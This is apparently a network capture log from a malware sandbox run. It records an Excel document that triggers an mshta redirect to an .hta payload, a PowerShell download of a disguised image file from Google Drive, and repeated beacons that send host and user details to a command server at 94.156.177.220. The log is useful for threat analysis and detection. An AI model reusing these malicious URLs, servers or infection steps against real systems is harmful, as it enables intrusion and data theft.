Oct 30, 2024 07:55:09.813194990 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:55:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Oct 30, 2024 07:55:10.850310087 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:55:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.22	49248	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:55:10.861928940 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:55:10.868307114 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:55:12.419298887 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:55:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Oct 30, 2024 07:55:12.419568062 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:55:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.22	49249	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:55:12.560868979 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:55:12.567039013 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:55:13.535507917 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:55:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.22	49250	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:55:13.697582006 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:55:13.703022957 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:55:14.659591913 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:55:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	104.21.74.191	443	3456	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:52:54 UTC	377	OUT	GET /oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: acesso.run Connection: Keep-Alive
2024-10-30 06:52:55 UTC	1027	IN	HTTP/1.1 302 Found Date: Wed, 30 Oct 2024 06:52:55 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 75 Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 0 Location: http://198.46.178.151/65/hb/creatednewthingsforme.hta Vary: Accept cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q0dQe0HO54wO02Fm8qXtG1ESNZHRTEXYjkCYQJvQWKEsmx2h1pSUhX55rMYikz06NU9XYcWeCZYff1my6cxNJ2nkCHn4viDVQBzFGuXfnpCfJJw4FDYx9%2FUvzNCL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da97c3b1c732cda-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2066&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=959&delivery_rate=1404461&cwnd=251&unsent_bytes=0&cid=9d1d7490f5600daa&ts=444&x=0"
2024-10-30 06:52:55 UTC	75	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 38 2e 34 36 2e 31 37 38 2e 31 35 31 2f 36 35 2f 68 62 2f 63 72 65 61 74 65 64 6e 65 77 74 68 69 6e 67 73 66 6f 72 6d 65 2e 68 74 61 Data Ascii: Found. Redirecting to http://198.46.178.151/65/hb/creatednewthingsforme.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49163	104.21.74.191	443	3748	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:52:56 UTC	401	OUT	GET /oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: acesso.run Connection: Keep-Alive
2024-10-30 06:52:57 UTC	1029	IN	HTTP/1.1 302 Found Date: Wed, 30 Oct 2024 06:52:57 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 75 Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 0 Location: http://198.46.178.151/65/hb/creatednewthingsforme.hta Vary: Accept cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AzqcE6xXmimWMNKUUnEFgM5277WLKVP2a8FnF%2F%2F7Dtx3E2h6URdFQKOLYR36yjIyqV9NQvZvtouw5qSgXNBabIoJKWIoOGeUnY9Mb8ZlPoNZdrCD8reYoDDst5DA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da97c480a17c86f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1264&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=983&delivery_rate=2234567&cwnd=252&unsent_bytes=0&cid=83a780efed41b1a7&ts=540&x=0"
2024-10-30 06:52:57 UTC	75	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 38 2e 34 36 2e 31 37 38 2e 31 35 31 2f 36 35 2f 68 62 2f 63 72 65 61 74 65 64 6e 65 77 74 68 69 6e 67 73 66 6f 72 6d 65 2e 68 74 61 Data Ascii: Found. Redirecting to http://198.46.178.151/65/hb/creatednewthingsforme.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49166	104.21.74.191	443	3456	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:53:14 UTC	377	OUT	GET /oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: acesso.run Connection: Keep-Alive
2024-10-30 06:53:14 UTC	1032	IN	HTTP/1.1 302 Found Date: Wed, 30 Oct 2024 06:53:14 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 75 Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 0 Location: http://198.46.178.151/65/hb/creatednewthingsforme.hta Vary: Accept cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9YNZ4LFROPNBwVRuw4qfg0Nei5cwpcmnXc%2FWx62GuMN9OiYTaxISx6BYeDO9oPnXJ%2FbWZq2hsLi7BzMIiWejc93ftl8yR9%2Fil01kmJObP9%2FZx67czJYmauzR6J2X"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da97cb6e9cd4867-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=955&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2822&recv_bytes=959&delivery_rate=2949083&cwnd=242&unsent_bytes=0&cid=5fbe9c71c07c5695&ts=275&x=0"
2024-10-30 06:53:14 UTC	75	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 38 2e 34 36 2e 31 37 38 2e 31 35 31 2f 36 35 2f 68 62 2f 63 72 65 61 74 65 64 6e 65 77 74 68 69 6e 67 73 66 6f 72 6d 65 2e 68 74 61 Data Ascii: Found. Redirecting to http://198.46.178.151/65/hb/creatednewthingsforme.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49169	104.21.74.191	443	2684	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:53:17 UTC	401	OUT	GET /oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: acesso.run Connection: Keep-Alive
2024-10-30 06:53:18 UTC	1032	IN	HTTP/1.1 302 Found Date: Wed, 30 Oct 2024 06:53:18 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 75 Connection: close X-DNS-Prefetch-Control: off X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff X-XSS-Protection: 0 Location: http://198.46.178.151/65/hb/creatednewthingsforme.hta Vary: Accept cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pwxSTYS91t8%2ByXUtAsJmHrEEgKfIT70Rvxg%2F0Cia5ykO7UXUFb9qMFiZmHRAKVnzNJVnLvoIjIs7GKCiGi3CcFdR7js5UEjWLVdTW9477RJvEsSHhxD3ao1wQ4%2BY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da97ccac90a0bbb-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1204&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=983&delivery_rate=2560565&cwnd=251&unsent_bytes=0&cid=e58ab542dfb8f7f1&ts=1503&x=0"
2024-10-30 06:53:18 UTC	75	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 38 2e 34 36 2e 31 37 38 2e 31 35 31 2f 36 35 2f 68 62 2f 63 72 65 61 74 65 64 6e 65 77 74 68 69 6e 67 73 66 6f 72 6d 65 2e 68 74 61 Data Ascii: Found. Redirecting to http://198.46.178.151/65/hb/creatednewthingsforme.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49170	142.250.186.46	443	3044	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:53:18 UTC	121	OUT	GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1 Host: drive.google.com Connection: Keep-Alive
2024-10-30 06:53:19 UTC	1319	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 30 Oct 2024 06:53:19 GMT Location: https://drive.usercontent.google.com/download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-8OkJruBQPtKBT-FKRUuPcA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49172	142.250.185.97	443	3044	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:53:20 UTC	139	OUT	GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1 Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-30 06:53:22 UTC	4906	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="new_image-new.jpg" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 2239109 Last-Modified: Mon, 21 Oct 2024 13:42:20 GMT X-GUploader-UploadID: AHmUCY3_lC67WsAauE-j_SRM_sL_Rl83jk7nLBAGd3Zbf-uZU7Fj79nlSg-HB2T221B-eODpODqFd16CbA Date: Wed, 30 Oct 2024 06:53:22 GMT Expires: Wed, 30 Oct 2024 06:53:22 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=WqxmdA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-30 06:53:22 UTC	4906	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-10-30 06:53:22 UTC	4886	IN	Data Raw: 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07 6a 8f 80 1d 71 35 99 8a b1 0d b5 57 a0 3d b2 1f 56 1a 7a 2d 7e a2 45 8a c0 d0 1a 84 45 54 44 ed db be 66 4f a8 42 ce 80 35 6e ba ba e7 1a 56 de f6 a0 0f f1 57 7c 52 6d 1c 92 cc 5c 11 4c d4 49 ed 80 54 9d 95 55 54 b1 04 56 ef 6c 87 44 23 76 d6 af e2 20 61 e2 54 40 a9 76 40 ab f7 ce 62 e2 e8 a9 5e 84 1c 08 82 7d 8c a8 45 2e de 2f b9 cd 04 62 f1 19 03 ed 55 b5 34 6c 13 99 53 48 aa 43 28 23 68 01 89 e7 9c 98 27 46 81 d1 49 00 1d c6 fb 9c 07 6f 7c 8a 24 76 64 ec a4 5e 15 62 d3 c0 8c e5 e5 24 03 e9 02 c5 62 1a 6d 62 bb 00 cc 14 ad 81 78 71 36 e4 61 be af 8c 0c ad 42 99 26 76 51 44 9a 0a 16 b8 c5 99 19 0d 32 90 7e 23 35 a4 11 b3 15 27 e2 0f 4b e3 17 d4 ed 10 80 24 dc 4f 40 70 33 eb Data Ascii: 8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW\|Rm\LITUTVlD#v aT@v@b^}E./bU4lSHC(#h'FIo\|$vd^b$bmbxq6aB&vQD2~#5'K$O@p3
2024-10-30 06:53:22 UTC	1324	IN	Data Raw: 1a 03 c4 23 6b 26 3e a2 b2 24 d6 c3 22 14 64 b1 ef ed 88 84 29 76 39 ca bd 12 08 bf cb 00 a4 c2 14 98 d5 83 0e 84 9c 9d 36 a5 e0 63 42 c9 e7 9c 18 e0 82 47 07 2c 14 16 14 d5 f0 ac 0d 24 f1 5d a4 03 18 2f ee 33 6b 47 ad d3 3e 98 4d 26 91 19 99 d9 77 32 b9 ae 9e a2 43 00 33 ca 86 52 de ae 08 03 9c 29 21 94 85 5e 2a b8 e3 eb d7 e5 81 e9 07 8b 40 da 67 d5 0f 0e d3 10 ac 29 77 3d 76 04 fe 3e c4 af e7 f0 39 da 6f 1b d3 6a 1c ef d0 c2 18 ad 85 4d ec c4 fc 8b f3 f4 ed ce 61 40 cf 14 91 b0 04 a8 24 15 27 f8 4f 0c 3f 2c a2 b4 b0 b9 da 40 ba b0 c0 30 ef 55 63 b7 be 06 9c de 2d 13 9a 1a 38 a3 b3 cb 29 6b 35 f0 2c 72 ad e3 50 00 36 f8 74 25 bd ed f9 ff 00 c5 99 f3 17 91 43 33 12 d4 7f 11 ba e7 b6 2e 18 b2 d8 8c 00 bf e2 16 0e 06 be b7 c5 22 62 a9 1e 8e 28 db 68 66 23 Data Ascii: #k&>$"d)v96cBG,$]/3kG>M&w2C3R)!^*@g)w=v>9ojMa@$'O?,@0Uc-8)k5,rP6t%C3."b(hf#
2024-10-30 06:53:22 UTC	1378	IN	Data Raw: f7 c4 14 49 da 40 2a 7e 3f 96 07 ad 79 e3 61 bd 4e d0 7b e4 95 8a 45 b0 c5 8f c3 02 ba 33 cb 53 00 3b 9c 80 42 b1 3b b9 f9 60 18 ce aa 42 b2 86 1d 2c 76 f9 e3 0e ab 40 03 c5 70 31 00 f6 a4 48 6a fa 1d b8 cc 2f e7 00 a5 a9 94 58 f8 8c 0e 24 5d 61 13 77 6b 03 e1 92 17 af 1f 8b 8b c9 29 b5 49 1f 2c 00 18 b9 2d 6c 4f c7 28 47 15 75 86 08 42 f2 6b 2a c9 e9 3e bc 08 42 03 02 af 44 f7 ba cd 6f 04 d6 47 a2 d4 4a f3 be d5 70 2b 82 6d be 99 8e 14 03 f8 ac e1 01 2b d3 ad 7b d6 07 a4 f1 bd 8b 0a ea 53 53 2c 72 6d 0a b1 86 20 1e 7a fe 59 89 11 d7 6a 17 64 26 79 1a e8 90 cc 76 df c7 a0 ca b3 a3 43 24 b3 6a 7f 7b c0 45 ae 4d 77 bf 6c 67 c3 5e 72 fb 20 75 60 80 ca 55 ba 13 44 1f e7 81 53 a2 f1 b4 86 49 8c b3 20 4e 4a 89 da c8 fa 1c 57 45 ac f1 1d 44 a4 c5 aa 76 65 e4 2b Data Ascii: I@~?yaN{E3S;B;`B,v@p1Hj/X$]awk)I,-lO(GuBk>BDoGJp+m+{SS,rm zYjd&yvC$j{EMwlg^r u`UDSI NJWEDve+
2024-10-30 06:53:22 UTC	1378	IN	Data Raw: c6 e2 c0 b3 63 fa e0 66 d4 34 f3 16 51 42 c9 03 28 ac 03 31 65 dc 4f 7f 6c 06 e7 83 7e 99 69 cb 32 f7 6e ff 00 2c 5a 39 4a c0 e9 cd 9e 38 cd 24 4f 37 40 10 47 6c 3a 1f ae 27 36 92 58 80 97 69 00 1b 35 81 30 05 58 83 ca 01 00 f7 cf b2 7e cf b4 a9 3f ec fb 47 a6 9e 36 97 4f a8 fb 42 11 94 77 56 88 29 e7 b7 cf b6 7c 6a 58 19 c8 f2 eb 6d 73 66 8f 39 fa 1b f6 20 88 bf 60 e7 77 65 21 f5 ce 36 b3 71 7b 50 00 47 c4 d0 fa e0 7c f3 ec 86 96 0d 24 df 69 61 de cc 9f 72 5f 4c 4e 18 b2 99 62 23 d4 78 ee 01 6e c3 a6 0b f6 84 1a 2f da f4 cd 33 8d 41 69 34 c7 72 a8 51 b7 62 71 ed d3 bf 7b be 3a 66 ef d9 08 53 67 da 44 1a 69 62 f1 18 b4 4e 93 ab 23 16 45 43 10 29 60 05 03 d2 d4 a0 0a af 86 64 7d b5 d6 e9 b5 bf b4 81 3b 23 16 94 69 24 01 db 90 1a 28 d8 0e bf 1c 0d 1f da cc Data Ascii: cf4QB(1eOl~i2n,Z9J8$O7@Gl:'6Xi50X~?G6OBwV)\|jXmsf9 `we!6q{PG\|$iar_LNb#xn/3Ai4rQbq{:fSgDibN#EC)`d};#i$(
2024-10-30 06:53:22 UTC	1378	IN	Data Raw: 51 21 52 69 af da f1 39 f6 b2 96 08 c5 98 50 be d8 58 85 a9 12 bb 31 f7 f6 c0 cc a1 66 dd e6 1f 2c f4 17 81 d1 2f 9b 09 2e a4 b0 e3 e9 8b 3a 3c 4c cd 1d 2a 91 cf 18 c3 29 58 5a 9c d9 3e 9f 96 1e 08 8c b0 82 dc af 42 47 38 19 e1 37 37 ac 6e 1e f8 64 2c ea 50 8b 5a e2 86 72 43 20 d6 98 ca 91 10 e6 f1 98 e2 02 56 0a 59 42 8b 23 df 01 78 b4 e9 01 ad a6 db b0 c3 47 a2 56 90 52 30 0d d6 fb 64 88 77 4d bc c8 dc 9e 06 3a 6d 23 01 59 b7 11 d7 02 87 46 9a 6b 23 93 d3 e9 81 56 57 0c 03 58 06 a8 8e 70 da 98 8b 4d 13 09 58 9a a2 07 f3 c4 91 36 ea 25 46 91 89 bf 4f 15 81 05 48 73 66 fe 99 59 d0 32 6d 65 e4 64 32 32 cc 41 73 f0 bc ba 5b 0d 92 1b 61 d0 d6 02 fa 7d 3a 39 3e 9f 52 f4 38 dc 6b 21 43 bb a8 e9 95 8c 04 52 43 10 df 2c 32 12 50 6d 66 2c 7a fc 30 2f 06 8d a6 25 Data Ascii: Q!Ri9PX1f,/.:<L*)XZ>BG877nd,PZrC VYB#xGVR0dwM:m#YFk#VWXpMX6%FOHsfY2med22As[a}:9>R8k!CRC,2Pmf,z0/%
2024-10-30 06:53:22 UTC	1378	IN	Data Raw: 88 d4 12 59 54 13 5b be 27 af c8 e2 ad b4 01 4a 40 bc d0 d5 13 ac 08 c8 d1 88 d5 76 ae f9 94 33 72 c4 96 05 ae c9 e4 7e 43 e2 b0 d3 48 83 99 74 f4 7b 79 e9 ff 00 ab 01 32 29 b9 26 8f b6 16 02 34 ee 25 08 c5 87 2a bb c8 03 e7 44 1f d7 0f f7 49 0c 77 be 02 4f ff 00 6f 4f fd 59 0d a4 95 63 16 d0 90 be d3 23 7e 81 b0 1a 86 59 f5 09 23 43 24 e1 4d 1d cd 2b 11 d0 58 15 c0 b3 fe 20 46 44 5a 83 3b 14 59 a6 89 55 50 bb b4 cc 6c d8 56 ef d3 93 f9 7b 62 09 a7 96 48 77 a3 42 01 3c dc aa a4 8f 88 2c 32 1f 49 22 a9 25 a1 20 2e ea 12 27 4f a3 73 80 ea 99 bc a5 f3 1a 44 2e 18 28 69 18 f2 0a f5 00 93 5c 9e dd 33 33 5c 85 67 60 58 b1 e2 d9 9a cf f7 af 9e 73 bb 36 9c 21 24 aa 12 47 3c 73 5f 9e 2c 78 04 0b a3 c9 27 02 83 83 9a be 16 e9 1c 52 33 90 29 81 e7 e5 99 4a 2c e6 e7 Data Ascii: YT['J@v3r~CHt{y2)&4%*DIwOoOYc#~Y#C$M+X FDZ;YUPlV{bHwB<,2I"% 